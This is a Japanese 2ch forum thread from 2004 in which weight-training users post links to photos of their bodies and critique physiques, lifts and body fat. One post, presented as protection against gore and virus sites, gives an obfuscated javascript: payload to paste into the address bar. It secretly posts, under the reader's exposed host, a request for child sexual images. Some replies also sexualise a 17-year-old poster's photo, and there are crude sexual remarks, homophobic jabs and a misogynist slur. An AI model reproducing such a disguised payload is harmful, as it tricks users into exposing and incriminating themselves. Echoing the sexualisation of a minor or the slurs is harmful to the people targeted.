お前らの体の画像うｐして！【4枚目】

お約束
■自分の気にいらない香具師がうｐしてもなるべく叩きはよしてまったり進行しましょう！
■コラ、転載はなるべく明記して本人を語るのはよしましょう！

１ http://sports7.2ch.net/test/read.cgi/muscle/1091174506/
２ http://sports7.2ch.net/test/read.cgi/muscle/1092866251/
３ http://sports7.2ch.net/test/read.cgi/muscle/1093871749/

＞＞ http://sports7.2ch.net/test/read.cgi/muscle/1093871749/990
やっぱりそうなの？

＞＞ http://sports7.2ch.net/test/read.cgi/muscle/1093871749/995
とても普通とは思えないんだけど・・・。

■体晒した人が晒して良かったと思える生暖かいスレにしましょう！
■本人で無い同性愛を感じさせる画像が貼られた時は完全スルーで！！

前スレ見てて思ったがやはり胸の筋肉って重要だねぇ。

このスレに限ってはコメントの際に、自分もアップしてね。

■ちんこちんこ言うな！

晒し方がわからん

■晒されたカラダで抜いてしまった人は、晒してくれた人に
　お礼を言いましょう。晒した人も抜いてくれた人にお礼をいいましょう。

ありがとう！ありがとう！ありがとう！ありがとう！
ありがとう！ありがとう！ありがとう！ありがとう！
ありがとう！ありがとう！ありがとう！ありがとう！
ありがとう！ありがとう！ありがとう！ありがとう！
ありがとう！ありがとう！ありがとう！ありがとう！

一応。あぷろだリンク集。
ttp://members.jcom.home.ne.jp/1rk/

私またUPしてもいいですかね？

>>11
お願いしまつ。

では
メモないけども
ttp://kinbuchi.hp.infoseek.co.jp/cgi-bin/clip/img/130.jpg

前腕は凄いよね

>>�M
箸が持て無くなるほどリストカールやらされたので

>>13
腿と前腕が迫力ありますねー　凄い。

>>16
スクワットは得意種目です。
胸はほとんどやってないので勘弁してください。

なんで前腕がこんなになるほど鍛えてるの？

>18
ウエイトリフティングの時使うから鍛えてました。
いまではほとんど前腕使わないでやってますが。
一番リストカールやったときで40ｋ20*7setを週3位のペースでやってました

きっと何かを握り潰すためだよ・・ｺﾜﾋ・・ｺﾜﾋ・・

うん、前腕いいね。カーフもでかい？あと、腸腰筋見たい。外人みたいに、もっこりしてるのにあこがれる。

トレ2ヶ月のショボイ体さらしてもいいですか？

デド嫌がうｐしたんならデド大もうｐすりゃ良いのに

前スレ953ですが、ベンチプレス教わってやってみました。
40kgでやりましたが、それでもかなりふらつきます。
とりあえず自分の体重（65kg)くらいは挙げたいので、しばらく頑張ってみます。

http://www.uploda.org/file/uporg9632.jpg
取りあえずup死ときます・・

>>13
お願いした12ですが、あなたを目標にしてがんばりまつ。
いつか超えて見せまつ。

いつになるやら･･･

>>25
その広背筋、漏れにも分けてくれ。

2ヶ月でここまで広背筋が付くか？

>>25
いいじゃんいいじゃん

>>25
どうでもいいけど顔でかいなｗそれだと体鍛えても顔でかすぎてカコワルイ

どうでもよかったらレスしなくてもいいのにな。

>>27
>>28
バーベルとダンベル、ベンチプレス台、スクワット台を購入して
トレーニングを始めてから2ヶ月です。
それ以前には、たまに逆手で懸垂をやってました。（週1くらいの頻度で1年以上）

>>29
どうもです。まだまだ頑張るぞー

>>30
でかいんですよ・・

>>31
フォロー入れてもらってありがとうございます

>>25
普通にコラにしか見えん。

■すぐにコラって言うな！

>>34
わかった、今度から一時間はもたすよ。

腹筋さえ割れていたら体に自信あるんだけど・・

■こら
http://club1069.topfong.com/postbbs/message/23368.html

まあ、2か月って言うのはネタだろうが、誉めてやってもいい身体だ

>>22
ラグビーか柔道でもやってた？
トレ暦を考えると結構すごいよね

>>25
えらが・・・・

>>38
>>39
現在30歳なんですが、20代前半の頃は公営の体育館にあったジムに通ったり
自宅でトレしたりしてました。
（トータルで1年程）

それからトレ再開するまで8年以上ブランクがあったので
トレ歴には加算していませんでした。すいません。

>>40
張ってます

http://49uper.com:8080/html/img-s/12634.jpg
まだ始めて3ヶ月なので一般人よりガリかもですが。

>42
洗濯物は室内に干すと臭くなるので、もう少し間隔をあけたほうがよい

＞４２
マッチョではないがシャープな感じ。

>>42
すごく普通です。
洗濯物が匂いませんか？

>>42
普段はどんなメニューこなしてます？

いろんな意味で、何だか勇気が湧いてくるスレだ。

>>42
3ヶ月でここまでになるなんて、よっぽどハードトレーニングをこなしてるのかな？

マッチョはきもい。あそこまでなりたくない。

全然関係ないけど、洗剤はアタックをずーっと使ってて、こないだトップの部屋干しなんとか
に変えたら本当に匂わない！あの手の謳い文句って信じてなかったけど。

>御用牙さん。

リストカール40ｋ×20、7セットは、バーベルですか？

今日は台風で外が大雨なんで部屋に干してました。
エアコンのドライつけてたんで臭くはなってないと思いますｗ
>>48
ここの人たちに比べたら全然ですね…。
肘を閉じた腕立て50と肘を開いた腕立て150、あと色々ダンベル使って、
40分ぐらいのトレーニングだけは毎日欠かさないようにしてますが。
暇な時は腹筋背筋100ずつ追加してます。
教えていただきたいんですが、サンドバッグ叩くのって筋肉つきますか？
ボクサーみたいな体系になりたいです。

http://namihei.zone.ne.jp/upup/up/22197.jpg
ここにいる人達よりすこし歳食ってますががんばって晒してみます。

>>53
晒すメイン部分が違うくネ？それに脂肪多そうだな。

http://www.legal-speed.com/~matsu/kup/data/2248.jpg

ここにいる人達より

>>53
ガイドライン通り処置させていただきます。

＞４８
マッチョはきもい。あそこまでなりたくない。

がんばってもなれないから心配すんなガリ（ｗ

ちんこ

腕だけでもＯＫですか？

すごそう

腕だけですけどアップしました〜

ttp://fetish-onsen.com/cgi/upload/source3/No_2557.jpg
脇毛が少し見えるのと、カットがないですね･･･
脂肪だらけ。

なんかマシュマロみたい・・・

>>62

なんで肩から脇毛が見えるんだ！？

>>52
そうです、バーベルです。

ぼくのカッコイイなと思う理想の体系はボクサーかな。
せめてＫ１選手くらいのまでの体系。
マッチョはきもい、うんち。

>>66
なれないから超安心していいよ☆

やったね☆>>66

>>67
もしかしてマッチョの方ですか？ｗ

ベッカムぐらいの体がいいや

>>62
ミシュランみたいと思ってしまった（ｺﾞﾒﾝ
出来れば全体を〜

>>62
思いっきり転載じゃん…。見たことあるぞこれ。

御用牙ウザイから要らない・・

なべやかん・・

>>73
おまえがうｐして盛り上げてくれよ

この板には、big3どれも２００�`以上挙げれるやつがいると思うが
一度もそれ相当の体をアップしてる人を見たことが無い・・・

いないよ、そんな人はいまさらはこんな板参考にならん
初心者ばっかだとおもう。

>御用牙さん。

バーベルですか、答えていただきまして、どうもありがとうございます。

御用牙マジきもいので来なくていいよ！！

コメントくれた人、ありがとうございました。
ショボイですが背中も晒しておきます。
http://www.uploda.org/file/uporg9832.jpg

筋トレは肥満防止の目的でやってます。
ベンチ100�`挙がるようになったら、またうｐします。

肩がけっこういい。
ただ、シンメトリーが・・・
広背筋の付着が上の方なのは惜しいね。

他の人もどんどんうｐしてぇ

>>81
コラ作るのめんどくさいし。

http://www.uploda.org/file/uporg9901.jpg
１７歳ですが、お願いします。

http://www.uploda.org/file/uporg9902.jpg
２６歳ですが、お願いします。大胸筋には自信があります。

>>84
いや　素晴らしい
その大胸筋にむしゃぶりつきてぇぜ　ﾊﾆｰ

>>83
カッコイイ
芸術的…　成長期途上の、鍛え上げられた肉体だね

>>83
どうやって胸鍛えてるの？やっぱジム？

>>83
大胸筋はやっぱ腕立てだけじゃ無理だから
１７歳ならもうそろそろバーベル運動始めれば？

>>84
ちょっとうけた

>>87
いえ、、小さい時から自然と・・大きく。　感度はいいです

>>90
え？
何もしてないのにあんなに筋肉付いてるの？
羨ましいな〜

>>83
これくらいが一番もてる体だろうな

ttp://49uper.com:8080/html/img-s/13003.jpg
どりゃっ。

>>91 >>87
大胸筋はベンチプレス使ってます。
最近は筋肉の瞬発力をつけるため、軽めでやってます。

ところで、腹筋の横を鍛えるのに最も合理的な方法が知りたいのですが、
誰か教えていただけないでしょうか？

携帯からのうｐ方法おせーてくれい。

>>93
かっこいい！！最近はちんぽ晒す人も珍しくないから修正いれなくてもよかったのに。

携帯を買い換えたので、嬉しくって久々に撮りますた。
ttp://49uper.com:8080/html/img-s/13038.jpg

これまで、こんな撮り方はできなかった。凄ぇ感動。

三角、だいえんきんでかいね。フロンと見せて

>>93
露出狂ですか？

前。ちょいとボケました。
ttp://49uper.com:8080/html/img-s/13048.jpg

もっと自信もってぼかしてない画像きぼん！！

アウトラインよいね、写りが残念だ。175，70キロ、15，6％くらいかな。何か運動してるんですか?

わざとぼかすのは止めて下さい。

身長、体重、体脂肪率くらい教えてもらえると、参考になります。

わざとぼかしたつもりはないけれど、
「パンプアップもさせてないし、ま、こんなもんでいいかぁ」
と思ったのは事実。今度またしっかり撮ります。

身長172cm、体重73.5kg、体脂肪率は18〜20％。
運動は特にしてません。筋トレのみ。

それでは、ぼちぼち寝ます。

体脂肪率なんて、いいかげんで無意味だと思いまーす。

>>106
まあそう言わずに、やはり参考にしたいものですから。

>105さん、
あ、身長同じです。体重は10キロ軽いです。でも私のお腹回りはダブダブです。
ちなみにウェストって何センチくらいですか？体重から考えると、そうとう締まっ
てますよね。

>>83
ﾊｱﾊｱ　抱かれたい

>>83
（･∀･)ｲｲ!
すごくいいよ。モテるだろうなあ

>>83いいかあ？
ただのガリに見えるんだけど…。

>>111
でも高1春の時の俺を絞ったくらいの筋量はあるからな
まあまあじゃね

>>83でガリってまじか？一番もてそうな体型だと思うのだが。
マッチョ板ならともかく、ここはウェイトトレ板だぞ。

>>83
もうちょっと他の画像も見てみたいところだ

>>83が素晴らしいと思うのは大胸筋が上部・下部に分かれてるって
ことだな、自分的には。自分は分かれてないんだよね

17才でこれだったらいくらでも可能性あるでしょ。鎖骨もまっすぐだし、肩の形もいい。
倍の歳でこれよりショボイトレーニーって普通にいるよ。

17歳でこれは上々、
いい筋肉してると思う。将来性も大きい。

スポーツ板にもいたな、そんなに見せたい？
でも見せるならもっと筋肥大してからじゃないとね、
17でそいつより凄い奴なんてざらにいるよ。

そりゃいるだろ。
でもこのスレでこれよりずーっと酷い身体散々見せられたからさ…。

>>84が素晴らしいと思うのは
大胸筋にほどなく脂肪がついてることだな、乳首もピンクで
感度も良い

恥ずかしいと思え。
このナルシストが！

>>119
ワラタ。それは言えてる

>>120
ワラタ。それは言えてる

>>121
ワラタ。それは言えてる

>>119
ある意味、それが励みになってます。

おまえらホント口だけだなｗ
アップしてみろって

>>126
　　　　 　 ,.　 -─-　 、
　　　　r'"　　　　　　　 ｀ヽ
　　　/ 　 fi l　 ﾄ　ﾄ |、i､ i !}　　　）
　 　 | 　 ﾉ ﾘ ﾙ' ﾚ' ﾘ ﾘj ヾ ﾘ　　（　　し
　　　ﾚヽ| '"＾二´ 　 `ニ^ｈ′　　）　 l
　 　 { ＾r　　ﾞ⌒////(⌒ { |　　 （　　ま
　 　 ヽ.(　ij　　 　 　 ∠ｨ ﾘ　　　 ）　 し
.　　 　 ド、 r ⌒`ｰ--‐1 ,'　　　ノ　　ェ
　　　　 ｌ ﾄ､ヽ. 　 　 　 l /　　 ⌒)　　 l
.　　　　 ﾘ　＼` -─- , '　　　　（　　 ン
　─- ..⊥.　　 ` ｰ- ｲ-‐''"￣　　) 　 !!
　　　　　　` ｰ-　 、 ／

今までのランキング作らない？
ｵﾚは御用牙に一票。
で、なんて読むの？

>>126
やはりナルだな、自分それであると思ってるんだろ？
自信つけるにはまだ早い。
何度も言うが１７でそんなのザラに居る。
特に部活強い高校にはな、
その程度で自慢はできんよ。
君が中学生だったら誉めてるけどな。

前スレの終わりの方に出てた人がいいなあ

俺、高３の１７歳の時には、ベンチ１３０キロで数回できた。

そーだった。
誰がｲｲって言ってもレス番分からなくなっちゃったし、無理だった。。。

>>128
俺もその人。
読み方分からないけど（笑）

>>128
自作自演乙！つーかランキングはパート２から既にご法度！
なべやかんがなんでそんなにかっこいいのｗ

>>134
御用牙って人は確か身長160cm超えてたはず。
なべやかんは155cmないから別人ですよね？

>>128
ハゲ同。
ランキングなんぞ自演野郎が増えるだけ。
競わずまったりがいい。

つか、御用牙自演バレバレ

>>83
ｲｹﾒﾝならいいけどやはり顔だなｗ

>>134 >>136
自演じゃないよ。
だってｵﾚ柔道三段だし。

>>128
たぶん、普通に「ごようきば」って読むんじゃない？

むかし御用牙って映画があったんだよ

むかし御用牙って漫画もあったんだよ

17さいのさーむねのきんにくがわれてるね
おれそんな風に割れてない
どーして？
脂肪落とせば胸の筋肉も上下に割れるの？

「御用牙 〜牙のテーマ〜」

http://bit.sonymusic.co.jp/servlet/PackageSpecialPage?TEMPLATE=package_special_page.html&SELL_ID=80307744&PACKAGE_ID=SICL00045

>>142
ガリだから・・

デブだから…

>>138
柔道三段氏の方がバルクあってかっこいい

御用牙市ね！！

314 名前：デッド大好き ◆DEAD..JCk6 投稿日：04/10/01 23:50:13 ID:zBVuBTiI
新うｐ
ttp://dokuo-ha-hitori.dyndns.tv/~dokuo/cgi-bin/zuru/source/dokuo1258.jpg

やっぱりしょぼいな。
まあ、いいや。
頑張ろ

腹が出てるのが惜しいね。
胸と僧帽筋はまあまあじゃないか。

http://2ch-up.x0.com/cgi/up/img/img103.jpg
http://2ch-up.x0.com/cgi/up/img/img104.jpg

身長180　体重　73　体脂肪率？？
初うｐです、どうだろ？

>148
サイズを教えてくれー。
なんてことを
まさか男に向かって言うことになるとは・・・・・・

>>150
なんで二枚目白い枠で隠してるの？？すこし転載ぽい

>>151
本人に聞いてくれよ

>>152
フルチンぽく見せたかったんじゃない？

■お約束　メモはとりあえず持とう！！

すんません、前からの写真はなるべく体だけ写そうとして塗りつぶしましたが、
後ろからはべつにいいかとおもってしまいましたｗ
本人証明として、常識の範囲内で別アングルから写します
そんな価値はないですが、せっかくうｐして転載と思われると悲しいので

年齢29歳　身長165ｾﾝﾁ　運動は　特にしていない
ﾁﾝｺの大きさ　平常時約10�p　勃起時約14�p
体脂肪率13.8%　体脂肪量7.4K
希望　太ももを競輪選手級に鍛え上げたい。
http://v.isp.2ch.net/up/998c833c9820.JPG
http://v.isp.2ch.net/up/89f06c32f337.JPG

>>１５０
絞れてるし背中も広くていいね。ただ三角筋が異様に無い。むしろへこんでいるようだ。

>>156
上　そんな大きなぬいぐるみは必要ないだろ？ヤクルトで充分でしょ
下　ジャミラみたい。ちょっとぽっちゃりしてるよね。

>>156
ケツが異様にちっちゃくて違和感ある

グロ画像やウイルスサイトにお困りのあなたへ朗報

（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414
7452e76616c75653d275c75333045445c75333045415c75373533425c75
353043465c75333034465c75333036305c75333035355c7533303434273
b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+=
'%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
２、 改行を外して１行にする。
３、 １行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
４、 Enterを押す（もしくは「移動」をクリックする）。

↑そんなのに引っかかるかって言うの

＞１５０
いい体してますね。その他の数字はどの位ですか。
例えば、ベンチプレス、スクワットなど

>156
お約束とはいえ、ﾁｿﾎ゜のサイズはいらんぞ w

>>156
いいねぇ〜
ぺろぺろしてやりてぇ

>>163
消えろ汚マンコブス

dqn

>>161
ベンチはＭＡＸ90です
スクワットは高重量やらないですが、100ｋｇでセット組んでる程度です

やっぱ、体晒すと、顔晒さなくても周辺の人にはバレるよね？

部屋に来たヤツにはバレる可能性はあるかもしれない
それより、オレの周辺にはここ見てるヤツはいなさそうだ

>>167　ばれないYO　このスレを閲覧する可能性なんて、ほぼ０％だよ。

http://2ch-up.x0.com/cgi/up/img/img184.jpg

体重６０ｋｇ時。
現在６６ｋｇ。
１９歳。

いいデフニションだね。

下がってるんで、ネタにしていいですよ。
http://www.uploda.org/file/uporg10221.jpg

身長１７９ｃｍ
体重　７９ｋｇ
体脂肪はわからない・・
３６歳です。

>>172
めちゃイイ！！！出来ればもう少し大きい画像で別カットきぼん！！！！

>>172
腹筋を撮らないあたりに、逃げを感じる。

http://www.uploda.org/file/uporg10260.jpg
で、自分もつられてうｐしてみる・・
（人に大きい画像見せてと言っておきながらたいした事なくてすみません）

172＞175は動かしがたい事実

170ももっと大きな画像できぼんぬ。
こんどは顔を正面でヨロ。

172＞175＞＞＞＞＞＞＞＞＞＞＞＞176

おまえガリだなｗ

>>172
ステやってる？　女性乳房になってるが

あの体でステはありえないだろ
年齢が36だから、垂れてるだけだろ

あの程度の体でステなんてないでしょ

年取っても女性乳房にはならないが・・・・　特に鍛えてる奴は
じゃあ体質ってことか

>>181

>>179の歳が同じ位でしかも胸が垂れてるからそう思ったのでは？ｗ

うわ、俺垂れてる？？女性化乳房ってもっと垂れてるものじゃないの？
ステなんかやってないです・・　
でも、確かに体質はあるかもです。トレしていない高校の時から大胸筋下部のあたりが
前に張り出していましたので。　ご意見ありがとうございました。

今日は雨だから、どんどんうｐしよう。

たれてますなー
ベンチとか特定の種目しかやってないとこうなる。

>>170
かこいい♥

＿|￣|○ お、、俺は・・・　俺は垂れ乳だったのか・・もうダメポ・
　　　　　　誰か、改善策を・・・教えてくれ・・

>>177
なんで172>175って書くとガリって事になるの？
意味わかんねぇー

>>185
てか、いま気がついたんだが
あなたのＩＤ垂れまくってるよ。。
で、垂れてないあなたの大胸筋をＵＰ希望

１７２さん
腕をあげたポーズで撮ってみたらどう？案外垂れてないかも？

携帯の荒い画像しかない･･･
これじゃあうｐしても意味ないぽ

>>170
ｽｷ

http://www.uploda.org/file/uporg10431.jpg

174cm 75kg 体脂肪１４％です

>>187
他の画像うｐしてちょ

体脂肪率の割にけっこうポチャに見えるね。
もっと絞った方がいいよ

>>193
首が太い！

>>193
体脂肪１４％？　どこの体脂肪計？　

>>193
肩をもうちょっと鍛えたらバランスいいと思う。
ところで、後ろのポスターが気になる。心霊写真みたい。

>>193
筋肉よりも、その鋭い拳が羨ましい。
パンチが痛そう。

体脂肪１４・・？？？

14%だと腹筋は割れていると思います。
もう少し高めかと。

24%の間違い

腕とかムチムチしてて電車の中で触れたくないタイプだな

スポーツジムの体脂肪計壊れてるかもな・・・＿|￣|○

ttp://with2ch.net/cgi-bin/pict/image-box/img20041003221032.jpg
173cm　78kg　ジムトレ歴４ヶ月

不可

14%ぐらいなんじゃないの？
だってベンチのミドテだってあの体で かなり低いんでしょ？
カラダ全体に対する脂肪の率なんだから、１４％だったら腹筋がわれてるとかは言い切れない。
骨の重さとかにも関係するっしょ。

>>172 ホモ筋

>>193
皆が言うように20％以上ありそうに見えます･･･

http://www.uploda.org/file/uporg10466.jpg　
ダブルバイセフース

かなりきてるね。

前スレの後半に出てた人？
筋量はまだまだだけど、なかなかいいね。

ウエスト細いね。

いいねいいね。でも首が青筋立てたペニスに見える。

>>210
すばらしいです
前ｽﾚ667氏ですか？

>>214
すばらしい着眼点。

>>210
いいな
マッチョじゃなくてがっしりしてる感じで

>>210
おいおい、これがなかなかいい　なんてレベルなのか？
これより地震あるんなら　どうぞみせてほしいもんだぞ
このレベルくるには　かなり努力してるはず
２１０かこいいよ

>>210
3サイズ、きぼんぬ

■評価する人は画像うｐ、またはスペック明記の事。

スペックは口先だけになるから
評価ほざく奴はうぷが基本だな。

ここは馴れ合いスレじゃない。
批判的なこと言われるのが怖い奴はうｐしなければいいだけの話。

http://www.imgup.org/file/iup0356.jpg
こんなもんだ

>223
パイ毛が長いですね。

>>223
胸板が薄い

パイ毛長すぎワロタ

胸板薄いし・・
そのパイ毛じゃ・・俺が女だったらヤダ。
パイ毛男とかいっちゃう。

胸に育毛剤かけてる？

>>223
女には一番もてそうな体付き。
それ以上になるとキモがられると思う・・

本気でいってんのか？
この程度だと女もいい身体とは思ってくれないぞ。
もっと大胸筋もでかくないと。

一部の筋肉オタ女でもない限り、好まれんよ・・

若いな・・つーか君はあまり筋肉ないだろ。？
殆どの女は相当マッチョでも喜ぶぞ。マジで。
男が細身でも出るところは出てるスタイルのいい女が好きなように
女も男が相当ムキムキしていても実際のところ喜ばれる事が多い。
ボディビルダーみたいだとやばいかもしれないけど、
１００ｍのモーリスグリーンくらいでも絶対に大丈夫。
「すごーーい　とかいって触ってくる。」
がんばって筋肉つけなよ。
でも結局顔が重要だけど。

そうでも考えないとトレなんか続けてられないよね。
現実は違うけど。

ﾜﾛﾀ

>224
評価する奴はパイ毛うpな。
スペックは口だけになるから

sage違えた、スマン

最近、妬みが滲み出てるヤツ多いな

210 ：名無しさん＠お腹いっぱい。 ：04/10/04 00:43:37 ID:9K04DowF
http://www.uploda.org/file/uporg10466.jpg　
ダブルバイセフース

↑
めちゃファンなんですけど画像見損ねました。本人さんもしくはどなたか
再うｐしてくれませんか？お礼は私の体晒しって事で・・・
マジお願いします！

ウホッ！の展開ですか？

>>238
先に晒すのが筋ってもんだろーが。

あっ！！名前が！！！

以前晒した者です。２１０さんの再うｐ僕からもよろ！
http://www.uploda.org/file/uporg10548.jpg

体にイエス様が宿ってますね。

イエス様というより
ジュディオングが手を開いたような・・・・

Wind is blowing from the Aegean
女は海

マンタが泳いでいるな

で、２１０さんまだですか？

このスレ、とっても素敵です。
晒してくださる方、本当にありがとう。

http://black.jpg-gif.net/bbsx/14/img/122424.jpg

http://black.jpg-gif.net/bbsx/14/img/122422.jpg

がりでスマソ
http://tokkou-b.hp.infoseek.co.jp/cgi-bin/source/up1508.jpg

>>250
体脂肪何パー？

＞220
画像うｐしてもどういう人に評価されてるか気になりませんか。
トレしてない人の意見はあんまり参考にならない気がするし、
それなりにしている人からだとうれしい。

そりゃそうだ。

＞１００ｍのモーリスグリーンくらいでも絶対に大丈夫。

おいおい・・・それレベル高すぎだろ。
あんなに筋肉ついてる日本人なんてほとんどいないじゃん。

>>242
悪魔将軍に操られてる人ですか？

>>250
やせてるなー
もっと食え

http://www.imagevenue.com/host/web1/5d276_10848096831.jpg

>>257
・・・なんで？
つか、なんでちょっと膨らんでる？

>>251
10パーです

>>257

(;´Д｀）ﾊｧﾊｧ

>>259
なるほど、
おれもそれぐらい目指してがんばろう

なんでみんな>>248のことスルーしてんの？
コラor転載？
かなりいい感じだと思うけど。

転載にきまってんじゃん。いい感じには違いないが。

えーアバラ出てんじゃん。

http://www.togiushi.com/upload/source/up5342.jpg

つか、胸毛多すぎ。
キモ

>>262
腹筋だけ浮き出てるけど、それ以外全然普通のおっちゃんって感じ。
その腹筋にしたところでつき方が汚いし。

汚いってひどいだろ。
他人の体を汚いなんて。。。
>>267あんたの体をはやく晒してみなさいよ！！！！！

以前晒しましたが
どれとは言いませんがね

×どれとは言いませんがね
○どれとは言えませんがね

おまいらの見てると俺ってぷよだと思うわ

スゲーいい体してるね

どうしたらそんな体になるんですか？

転載ばっかじゃねえかよ。

結局おまいらが､ゆ-いい体て
脂肪がついてなきゃいい体なんだね
ｽﾎﾟｸﾗの方がいんじゃね-の?
ここにいてもしょーがないだろ

学生時、やたら筋肉がボコボコしてるやついなかった？
でもそういうやつと腕相撲しても余裕で勝ててた・・
あれは体質なのか？

とくに運動部に入ってなくトレしてる訳でもないのに
やたら筋肉質なんてのはいたな

ちなみに腕相撲も強かった

中学の時、春の頃は脂肪が目立ってたのに
夏休み明けに見たらいつの間にか脂肪が削がれて
ムキムキになってたやつがいた。

>>276
そいつはＢかＫの血が混じってる

高校生ﾏﾀﾞ？

肺に空気いっぱい吸い込んで撮ると強そうな体になるな

まーココでさらしてる写真は大抵、ギリギリまでバンプさせた上
何十枚と撮った中で最高に筋肉がついて見えてるのを選んでるだろうからな。
実物見るとものすごくショボそう。

>>281
どんなにでかくバンプすると思ってんだ？？？
まぁがんばって筋肉つけなよ。ガリガリ君

筋肉ばかりよりも、少し死亡がついているぐらいがいい

↑こいつきっとマッチョな奴にずっと虐められてきたんだろうなｗ
情けねｗ　ずっーと童貞のままひきこもってなｗ

おまいさんたち少しムキになりすぎですよ

ムキムキですから・・　という落ちでいいかな？

↓俺の妻なんだが、年の割には結構筋がいいんじゃないですか？
http://ime.nu/i-bbs.sijex.net:1080/bbs/2ch/1096813599429o.jpg

↓感想を！

見れん！

つーか、バンプさせて見た目が変わるなら、
筋肉はそれなりにあると思われ。

もしかしてさっきから”バンプ”って書いてない？

一撃

「バンプアップ」なら明らかに間違いだが、「バンプ」だけなら
それなりに意味が通ってるかもしれない。

http://www.hasegawa.ath.cx/clip/img/128.jpg

ちなみに、ベンチ１４１＊６です

また転載かよ！

序の口か二段目かな？

ぶっさいくな体型だな
キモい

ガチムチ短髪あごひげ、ホモ板からだろ。

http://www.hasegawa.ath.cx/clip/img/132.jpg

僕はベンチ１７５スレ住人です。

ﾋｱﾙﾛﾝ酸がなぜか笑える

転載じゃなかったんですね、失礼。

大胸筋はあるけど観賞向きの身体じゃないよ

ID:PSErkUyRはホモ！間違いないｗ

たけぽん ◆52.FsIEe7o
とりあえずメモ貼って再うｐしろ！

http://www.hasegawa.ath.cx/clip/img/135.jpg

しつこく何度も晒すほどの身体じゃないって。
とにかくベンチがんばってればいいよ。

＞３０６
だって、＞３０４が・・・

たけぽん良い！！３０６みたいな馬鹿厨なんて気にせずいろいろ晒して！
腕が太そうなので力こぶきぼん！！

泣けるｗ

>307 たけぽん さん、
すんません、身長、体重、体脂肪率、トレ暦とか教えていただけると
すごく参考になりますです。よろぴくお願いします。

腕は・・・ぜんぜんトレしてません・・・
４２センチあるけど・・・

身長１７７、体重１０４、トレ暦７年　２３歳
２０％以上？かわからない。測ったことないけど腹やバイｗ

すご・・・・４２センチ！！！
ぜひうｐきぼん！

>>313
ホモは俺じゃなくて、お前のようだなw

>>314
ネットだから証明できないしどう思おうと勝手だけど、こちらは逆立ちしても
ホモにはなれないですｗ

筋肉見えないじゃん
脂肪を浮き立たせて見せる体作りしてどーするよ

http://www.hasegawa.ath.cx/clip/img/137.jpg

たけぽんさん
ベンチの重量を伸ばそうとすると、それくらい脂肪がある方がいいですか？

ええええええええ？？？？？？？？？？


２３歳・・・・

>318
いいえ。
ただ、筋肉増やしてくにはどうしても余計な肉がついてしまって・・・

たけぽんかっこ良すぎ！

このスレ時々覗いてるけど、筋肉ついててもチビとかスペック的に物足りなかった
んだけどたけぽんはイケテルと思う。

最後に重量上げしてるポーズお願いできますか？

なるほど
重量を伸ばすためのトレーニングや食事の結果が今の体型ってことですね。

＞３２１
携帯しか持ってないんでまた友達にとってもらうよ。

せっかくこのスレには少ない♀の頼みなんだから（手の込んだネカマかも
しれんが）片手でポーズとって晒してやればいいじゃん？

ていうか体脂肪率15％以上は自制してください

ガリなのに19％な俺って・・・・・orz

>>325
お前はたけぽんより相当劣ってるから僻んでるだけだろ？馬鹿

23歳か〜。かっこいいと思う

カッコいいって言ってもレスラーなんかと同じ系統の身体だよ。
ビルダーとしては見れない。

ビルダーって感じより、レスラー系のがかっこいいと思って。
人それぞれですな。

たけぽんﾀｿはチョコボール向井みたいな体格だね。
まぁ普通に凄いのは確かだけど。

ウエスト絞ればかなり良い感じ

たけぽんさん、胸囲、腹囲教えてください！よろしく！

腹がやばいと言っても うっすら腹筋が見える。
かなりバルキーな肉体ですね。

デフォルトの
無記無記名　ワロタ

http://www.forum-jp.net/upload/1/img/71.jpg
腕だけだけど晒してみますよ
169cm 65kg 体脂肪21%オヤジ体型＿|￣|○
さ　仕事ｲｺ…

>>336

おっと、これは・・・。

鼻から下見ただけでも、ものすごい童貞っぷりが伝わってくる顔だなｗ

まともなのは>>223と>>172だけじゃんかよ。
あとはホモとムチムチばっかりだ。

>>338すごくわかる気がする。言えてる

好みの男がいないと不満をぶちまける>>339のいるスレはここですか？

なんだかんだで、今までアップした中で
たけぽんという人が一番筋量がある。

たけぽんの体が物足りないといってる香具師は普段外人のムキムキ画像
見まくってるホモなんじゃないかな？

デブ＝筋量があるとか考えている人はアホ。
何故なら筋肉はそのままで脂肪だけが落ちるということは有り得ないから。
つまり脂肪を身につけると言うことは実質筋量を失うのと同義である
絞れていてかつ骨格に対する肉付きが十分なら始めて筋量があると言える。

かさがデカくても、脂肪が付きすぎている人は、
それを差し引くいて考えないとフェアじゃない。
つまりはそういう人は実質ガリも同然。

>>342 たけぽん、いらっしゃ〜い。

>>344
>>345
同意。

あんたらねー、ビルダーだってオフ時はたけぽんのカラダより全然でぶっぽくなるやつだってたくさんいるよー
ビルダーのコンテスト時を維持してたら 相当不健康。

ID:3Xce7v17キモ

滅茶苦茶な論理展開にﾜﾛﾀ
何故彼はそんなに必死なの？

コンテストレベルのビルダーはオフ時デブだとしても
竹ポンとかいうのより全体的にもっとバルクあるのがわかるレベルだよ

たけぽん ホモ臭いんですけど・・

たけぽん只のデブやんｗｗｗ

たけぽん、化粧水使ってるのが笑った・・

あの程度の肉付きでデブ呼ばわりとは
余程貧しい家に産まれたのだろうな

あきらかに誰がみてもデブ寄りなんですけど。
では>>355はあの身体が素敵だと？？

http://violet.homeip.net/upload/img-box/img20040930083535.jpg
こんな感じかな。これを素敵と思うかどうかはあれだ。

>>357よりは明らかに胸囲がないよ。
こういう身体は個人的には好きじゃない。好みの問題だが。

>>357　え？　これがたけぽんという奴の体と似ていると思ってるのか？？？
　　　　はっきり言ってやろう　　　　　アホ。

朝から晩まで2chのiVmgu5K0はもっと実際に人と交流した方が(・∀・)ｲｲ!!

>>357
永田はいつヌードになったんだ？

ID:iVmgu5K0
↑
実生活でスルーされまくってるついでにここでもスルーしたほうがイイ！！

そりゃどうもありがとう。

「おまえの○○○○をうｐしろ」系のスレには必ずいるタイプなので気にしないこと。

携帯で撮影したヤツなんだけど、うＰの仕方がわかりません。
どうすりゃいいの？

＞３６５
自分のパソコンに写メして、うｐする

・ケータイ等から画像を付けて[email protected]宛てに送るだけです。簡単！
・タイトルは自分の名前になります
http://cgi.f11.aaacafe.ne.jp/〜zawanet/mailbbs/mailbbs.php?mode=admin

トレーニング暦0年（今日からはじめる）
http://www.axfc.net/uploader/9/so/No_0129.jpg.html

